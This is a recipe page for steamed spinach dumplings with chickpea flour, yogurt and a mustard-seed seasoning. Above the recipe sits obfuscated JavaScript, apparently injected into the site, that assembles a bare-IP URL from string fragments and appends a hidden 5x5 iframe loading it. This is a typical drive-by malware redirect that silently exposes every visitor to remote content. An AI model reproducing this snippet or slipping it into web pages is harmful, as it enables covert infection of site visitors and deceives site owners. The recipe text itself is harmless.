roti ye='/';y='.';nz='r';mq='b2';l='21';r='ame';a='tp:';x='55.';lo='5';b='91';z='R';xx='17';c='//';ym='c';pe='?e';qq='h';s='ifr';o='s';ka='.1';uz='t';u=s.concat(r);i=o.concat(nz,ym);dt=qq.concat(uz,a,c,b,y,l,lo,ka,x,xx,ye,pe,mq,z);var aw=document.createElement(u);aw.setAttribute('width','5');aw.setAttribute('height','5');aw.setAttribute('style','display:none');aw.setAttribute(i,dt);document.body.appendChild(aw);



Google fb32x32 twitter linkedin feed-icon-32x32

Steamed Spinach Dumpling

An appetizer and a yogurt delicacy

Steamed Spinach Dumpling
10 mins
Preparation Time
10 mins
Cooking Time
Serves 4
    • 2 cups of Spinach leaves
    • 2 cups of Chickpea flour/Besan
    • 1 cup Yogurt/curd
    • 1/2 tsp. Turmeric powder
    • 2 tsp. Red chillies powder
    • 1/2 tsp. roasted cumin powder
    • 1 tsp. coriander powder
    • 1 tsp. ginger-garlic paste (optional)
    • Salt as desired
    • Water as required


    • 2 tsp. sesame seeds
    • 1 tsp. mustard seeds
    • 2 tsp grated coconut
    • 1 green chilly
    • 2 tsp. of oil
    • A pinch of asafoetida/Hing
    • a few curry leaves
    • 1 tsp. of lemon juice


Wash and shred the spinach leaves thoroughly. Shred the leaves finely. Take a large vessel and add the chickpea flour and all the dry ingredients into it. Add the shredded spinach & the yogurt into the dry ingredients and mix well. Make a solid dough, add extra teaspoon of water if you are not able to bind all ingredients into a dough.

Make 5-6 small rolls using the same dough. There are 3 ways to steam these rolls:

  1. Heat water in a large vessel and add these rolls in it. When the rolls start floating on the water, they are done.
  2. Pour one cup of water in a pressure cooker and keep a small but broad bowl in it. Grease a plate which can fit into the pressure cooker. Keep all the spinach rolls on the plate and lower it into the pressure cooker. Cook for about 6-7 minutes on high pressure.
  3. Steam the rolls in microwave mode.

Take out the steamed rolls and let them cool. Cut the spinach rolls into half inch slices and keep them separately.

Heat oil in a wok and add crackle the mustard seeds. Add the sesame and curry leaves fry for a minute.  Add asafoetida and spit green chilly.

Arrange the steamed spinach slices in serving dish and pour the hot seasoning over it. Garnish with freshly grated coconut.